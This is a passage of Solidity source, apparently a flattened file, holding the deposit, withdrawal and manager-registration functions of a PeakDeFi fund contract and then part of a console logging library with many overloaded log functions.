if (_useKyber) {
(, , actualUSDCDeposited, actualETHDeposited) = __kyberTrade(
ETH_TOKEN_ADDRESS,
msg.value,
usdc
);
} else {
(, , actualUSDCDeposited, actualETHDeposited) = __oneInchTrade(
ETH_TOKEN_ADDRESS,
msg.value,
usdc,
_calldata
);
}
// Send back leftover ETH
uint256 leftOverETH = msg.value.sub(actualETHDeposited);
if (leftOverETH > 0) {
msg.sender.transfer(leftOverETH);
}
// Register investment
__deposit(actualUSDCDeposited, _referrer);
// Emit event
emit Deposit(
cycleNumber,
msg.sender,
address(ETH_TOKEN_ADDRESS),
actualETHDeposited,
actualUSDCDeposited,
now
);
}
/**
* @notice Deposit USDC Stablecoin into the fund.
* @param _usdcAmount The amount of USDC to be deposited. May be different from actual deposited amount.
* @param _referrer the referrer's address
*/
function depositUSDC(uint256 _usdcAmount, address _referrer)
public
nonReentrant
notReadyForUpgrade
{
usdc.safeTransferFrom(msg.sender, address(this), _usdcAmount);
// Register investment
__deposit(_usdcAmount, _referrer);
// Emit event
emit Deposit(
cycleNumber,
msg.sender,
USDC_ADDR,
_usdcAmount,
_usdcAmount,
now
);
}
function depositToken(
address _tokenAddr,
uint256 _tokenAmount,
address _referrer
) public {
bytes memory nil;
depositTokenAdvanced(_tokenAddr, _tokenAmount, true, nil, _referrer);
}
/**
* @notice Deposit ERC20 tokens into the fund. Tokens will be converted into USDC.
* @param _tokenAddr the address of the token to be deposited
* @param _tokenAmount The amount of tokens to be deposited. May be different from actual deposited amount.
* @param _useKyber true for Kyber Network, false for 1inch
* @param _calldata calldata for 1inch trading
* @param _referrer the referrer's address
*/
function depositTokenAdvanced(
address _tokenAddr,
uint256 _tokenAmount,
bool _useKyber,
bytes memory _calldata,
address _referrer
) public nonReentrant notReadyForUpgrade isValidToken(_tokenAddr) {
require(
_tokenAddr != USDC_ADDR && _tokenAddr != address(ETH_TOKEN_ADDRESS)
);
ERC20Detailed token = ERC20Detailed(_tokenAddr);
token.safeTransferFrom(msg.sender, address(this), _tokenAmount);
// Convert token into USDC
uint256 actualUSDCDeposited;
uint256 actualTokenDeposited;
if (_useKyber) {
(, , actualUSDCDeposited, actualTokenDeposited) = __kyberTrade(
token,
_tokenAmount,
usdc
);
} else {
(, , actualUSDCDeposited, actualTokenDeposited) = __oneInchTrade(
token,
_tokenAmount,
usdc,
_calldata
);
}
// Give back leftover tokens
uint256 leftOverTokens = _tokenAmount.sub(actualTokenDeposited);
if (leftOverTokens > 0) {
token.safeTransfer(msg.sender, leftOverTokens);
}
// Register investment
__deposit(actualUSDCDeposited, _referrer);
// Emit event
emit Deposit(
cycleNumber,
msg.sender,
_tokenAddr,
actualTokenDeposited,
actualUSDCDeposited,
now
);
}
function withdrawEther(uint256 _amountInUSDC) external {
bytes memory nil;
withdrawEtherAdvanced(_amountInUSDC, true, nil);
}
/**
* @notice Withdraws Ether by burning Shares.
* @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount.
* @param _useKyber true for Kyber Network, false for 1inch
* @param _calldata calldata for 1inch trading
*/
function withdrawEtherAdvanced(
uint256 _amountInUSDC,
bool _useKyber,
bytes memory _calldata
) public nonReentrant during(CyclePhase.Intermission) {
// Buy ETH
uint256 actualETHWithdrawn;
uint256 actualUSDCWithdrawn;
if (_useKyber) {
(, , actualETHWithdrawn, actualUSDCWithdrawn) = __kyberTrade(
usdc,
_amountInUSDC,
ETH_TOKEN_ADDRESS
);
} else {
(, , actualETHWithdrawn, actualUSDCWithdrawn) = __oneInchTrade(
usdc,
_amountInUSDC,
ETH_TOKEN_ADDRESS,
_calldata
);
}
__withdraw(actualUSDCWithdrawn);
// Transfer Ether to user
msg.sender.transfer(actualETHWithdrawn);
// Emit event
emit Withdraw(
cycleNumber,
msg.sender,
address(ETH_TOKEN_ADDRESS),
actualETHWithdrawn,
actualUSDCWithdrawn,
now
);
}
/**
* @notice Withdraws Ether by burning Shares.
* @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount.
*/
function withdrawUSDC(uint256 _amountInUSDC)
external
nonReentrant
during(CyclePhase.Intermission)
{
__withdraw(_amountInUSDC);
// Transfer USDC to user
usdc.safeTransfer(msg.sender, _amountInUSDC);
// Emit event
emit Withdraw(
cycleNumber,
msg.sender,
USDC_ADDR,
_amountInUSDC,
_amountInUSDC,
now
);
}
function withdrawToken(address _tokenAddr, uint256 _amountInUSDC) external {
bytes memory nil;
withdrawTokenAdvanced(_tokenAddr, _amountInUSDC, true, nil);
}
/**
* @notice Withdraws funds by burning Shares, and converts the funds into the specified token using Kyber Network.
* @param _tokenAddr the address of the token to be withdrawn into the caller's account
* @param _amountInUSDC The amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount.
* @param _useKyber true for Kyber Network, false for 1inch
* @param _calldata calldata for 1inch trading
*/
function withdrawTokenAdvanced(
address _tokenAddr,
uint256 _amountInUSDC,
bool _useKyber,
bytes memory _calldata
)
public
during(CyclePhase.Intermission)
nonReentrant
isValidToken(_tokenAddr)
{
require(
_tokenAddr != USDC_ADDR && _tokenAddr != address(ETH_TOKEN_ADDRESS)
);
ERC20Detailed token = ERC20Detailed(_tokenAddr);
// Convert USDC into desired tokens
uint256 actualTokenWithdrawn;
uint256 actualUSDCWithdrawn;
if (_useKyber) {
(, , actualTokenWithdrawn, actualUSDCWithdrawn) = __kyberTrade(
usdc,
_amountInUSDC,
token
);
} else {
(, , actualTokenWithdrawn, actualUSDCWithdrawn) = __oneInchTrade(
usdc,
_amountInUSDC,
token,
_calldata
);
}
__withdraw(actualUSDCWithdrawn);
// Transfer tokens to user
token.safeTransfer(msg.sender, actualTokenWithdrawn);
// Emit event
emit Withdraw(
cycleNumber,
msg.sender,
_tokenAddr,
actualTokenWithdrawn,
actualUSDCWithdrawn,
now
);
}
/**
* Manager registration
*/
/**
* @notice Registers `msg.sender` as a manager, using USDC as payment. The more one pays, the more RepToken one gets.
* There's a max RepToken amount that can be bought, and excess payment will be sent back to sender.
*/
function registerWithUSDC()
public
during(CyclePhase.Intermission)
nonReentrant
{
require(!isPermissioned);
require(managersOnboardedThisCycle < maxNewManagersPerCycle);
managersOnboardedThisCycle = managersOnboardedThisCycle.add(1);
uint256 peakStake = peakStaking.userStakeAmount(msg.sender);
require(peakStake >= peakManagerStakeRequired);
uint256 donationInUSDC = newManagerRepToken.mul(reptokenPrice).div(PRECISION);
usdc.safeTransferFrom(msg.sender, address(this), donationInUSDC);
__register(donationInUSDC);
}
/**
* @notice Registers `msg.sender` as a manager, using ETH as payment. The more one pays, the more RepToken one gets.
* There's a max RepToken amount that can be bought, and excess payment will be sent back to sender.
*/
function registerWithETH()
public
payable
during(CyclePhase.Intermission)
nonReentrant
{
require(!isPermissioned);
require(managersOnboardedThisCycle < maxNewManagersPerCycle);
managersOnboardedThisCycle = managersOnboardedThisCycle.add(1);
uint256 peakStake = peakStaking.userStakeAmount(msg.sender);
require(peakStake >= peakManagerStakeRequired);
uint256 receivedUSDC;
// trade ETH for USDC
(, , receivedUSDC, ) = __kyberTrade(ETH_TOKEN_ADDRESS, msg.value, usdc);
// if USDC value is greater than the amount required, return excess USDC to msg.sender
uint256 donationInUSDC = newManagerRepToken.mul(reptokenPrice).div(PRECISION);
if (receivedUSDC > donationInUSDC) {
usdc.safeTransfer(msg.sender, receivedUSDC.sub(donationInUSDC));
receivedUSDC = donationInUSDC;
}
// register new manager
__register(receivedUSDC);
}
/**
* @notice Registers `msg.sender` as a manager, using tokens as payment. The more one pays, the more RepToken one gets.
* There's a max RepToken amount that can be bought, and excess payment will be sent back to sender.
* @param _token the token to be used for payment
* @param _donationInTokens the amount of tokens to be used for registration, should use the token's native decimals
*/
function registerWithToken(address _token, uint256 _donationInTokens)
public
during(CyclePhase.Intermission)
nonReentrant
{
require(!isPermissioned);
require(managersOnboardedThisCycle < maxNewManagersPerCycle);
managersOnboardedThisCycle = managersOnboardedThisCycle.add(1);
uint256 peakStake = peakStaking.userStakeAmount(msg.sender);
require(peakStake >= peakManagerStakeRequired);
require(
_token != address(0) &&
_token != address(ETH_TOKEN_ADDRESS) &&
_token != USDC_ADDR
);
ERC20Detailed token = ERC20Detailed(_token);
require(token.totalSupply() > 0);
token.safeTransferFrom(msg.sender, address(this), _donationInTokens);
uint256 receivedUSDC;
(, , receivedUSDC, ) = __kyberTrade(token, _donationInTokens, usdc);
// if USDC value is greater than the amount required, return excess USDC to msg.sender
uint256 donationInUSDC = newManagerRepToken.mul(reptokenPrice).div(PRECISION);
if (receivedUSDC > donationInUSDC) {
usdc.safeTransfer(msg.sender, receivedUSDC.sub(donationInUSDC));
receivedUSDC = donationInUSDC;
}
// register new manager
__register(receivedUSDC);
}
function peakAdminRegisterManager(address _manager, uint256 _reptokenAmount)
public
during(CyclePhase.Intermission)
nonReentrant
onlyOwner
{
require(isPermissioned);
// mint REP for msg.sender
require(cToken.generateTokens(_manager, _reptokenAmount));
// Set risk fallback base stake
_baseRiskStakeFallback[_manager] = _baseRiskStakeFallback[_manager].add(
_reptokenAmount
);
// Set last active cycle for msg.sender to be the current cycle
_lastActiveCycle[_manager] = cycleNumber;
// emit events
emit Register(_manager, 0, _reptokenAmount);
}
/**
* @notice Sells tokens left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer.
* @param _tokenAddr address of the token to be sold
* @param _calldata the 1inch trade call data
*/
function sellLeftoverToken(address _tokenAddr, bytes calldata _calldata)
external
during(CyclePhase.Intermission)
nonReentrant
isValidToken(_tokenAddr)
{
ERC20Detailed token = ERC20Detailed(_tokenAddr);
(, , uint256 actualUSDCReceived, ) = __oneInchTrade(
token,
getBalance(token, address(this)),
usdc,
_calldata
);
totalFundsInUSDC = totalFundsInUSDC.add(actualUSDCReceived);
}
/**
* @notice Sells CompoundOrder left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer.
* @param _orderAddress address of the CompoundOrder to be sold
*/
function sellLeftoverCompoundOrder(address payable _orderAddress)
public
during(CyclePhase.Intermission)
nonReentrant
{
// Load order info
require(_orderAddress != address(0));
CompoundOrder order = CompoundOrder(_orderAddress);
require(order.isSold() == false && order.cycleNumber() < cycleNumber);
// Sell short order
// Not using outputAmount returned by order.sellOrder() because _orderAddress could point to a malicious contract
uint256 beforeUSDCBalance = usdc.balanceOf(address(this));
order.sellOrder(0, MAX_QTY);
uint256 actualUSDCReceived = usdc.balanceOf(address(this)).sub(
beforeUSDCBalance
);
totalFundsInUSDC = totalFundsInUSDC.add(actualUSDCReceived);
}
/**
* @notice Registers `msg.sender` as a manager.
* @param _donationInUSDC the amount of USDC to be used for registration
*/
function __register(uint256 _donationInUSDC) internal {
require(
cToken.balanceOf(msg.sender) == 0 &&
userInvestments[msg.sender].length == 0 &&
userCompoundOrders[msg.sender].length == 0
); // each address can only join once
// mint REP for msg.sender
uint256 repAmount = _donationInUSDC.mul(PRECISION).div(reptokenPrice);
require(cToken.generateTokens(msg.sender, repAmount));
// Set risk fallback base stake
_baseRiskStakeFallback[msg.sender] = repAmount;
// Set last active cycle for msg.sender to be the current cycle
_lastActiveCycle[msg.sender] = cycleNumber;
// keep USDC in the fund
totalFundsInUSDC = totalFundsInUSDC.add(_donationInUSDC);
// emit events
emit Register(msg.sender, _donationInUSDC, repAmount);
}
/**
* @notice Handles deposits by minting PeakDeFi Shares & updating total funds.
* @param _depositUSDCAmount The amount of the deposit in USDC
* @param _referrer The deposit referrer
*/
function __deposit(uint256 _depositUSDCAmount, address _referrer) internal {
// Register investment and give shares
uint256 shareAmount;
if (sToken.totalSupply() == 0 || totalFundsInUSDC == 0) {
uint256 usdcDecimals = getDecimals(usdc);
shareAmount = _depositUSDCAmount.mul(PRECISION).div(10**usdcDecimals);
} else {
shareAmount = _depositUSDCAmount.mul(sToken.totalSupply()).div(
totalFundsInUSDC
);
}
require(sToken.generateTokens(msg.sender, shareAmount));
totalFundsInUSDC = totalFundsInUSDC.add(_depositUSDCAmount);
totalFundsAtManagePhaseStart = totalFundsAtManagePhaseStart.add(
_depositUSDCAmount
);
// Handle peakReferralToken
if (peakReward.canRefer(msg.sender, _referrer)) {
peakReward.refer(msg.sender, _referrer);
}
address actualReferrer = peakReward.referrerOf(msg.sender);
if (actualReferrer != address(0)) {
require(
peakReferralToken.generateTokens(actualReferrer, shareAmount)
);
}
}
/**
* @notice Handles deposits by burning PeakDeFi Shares & updating total funds.
* @param _withdrawUSDCAmount The amount of the withdrawal in USDC
*/
function __withdraw(uint256 _withdrawUSDCAmount) internal {
// Burn Shares
uint256 shareAmount = _withdrawUSDCAmount.mul(sToken.totalSupply()).div(
totalFundsInUSDC
);
require(sToken.destroyTokens(msg.sender, shareAmount));
totalFundsInUSDC = totalFundsInUSDC.sub(_withdrawUSDCAmount);
// Handle peakReferralToken
address actualReferrer = peakReward.referrerOf(msg.sender);
if (actualReferrer != address(0)) {
uint256 balance = peakReferralToken.balanceOf(actualReferrer);
uint256 burnReferralTokenAmount = shareAmount > balance
? balance
: shareAmount;
require(
peakReferralToken.destroyTokens(
actualReferrer,
burnReferralTokenAmount
)
);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.8.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logByte(byte p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(byte)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
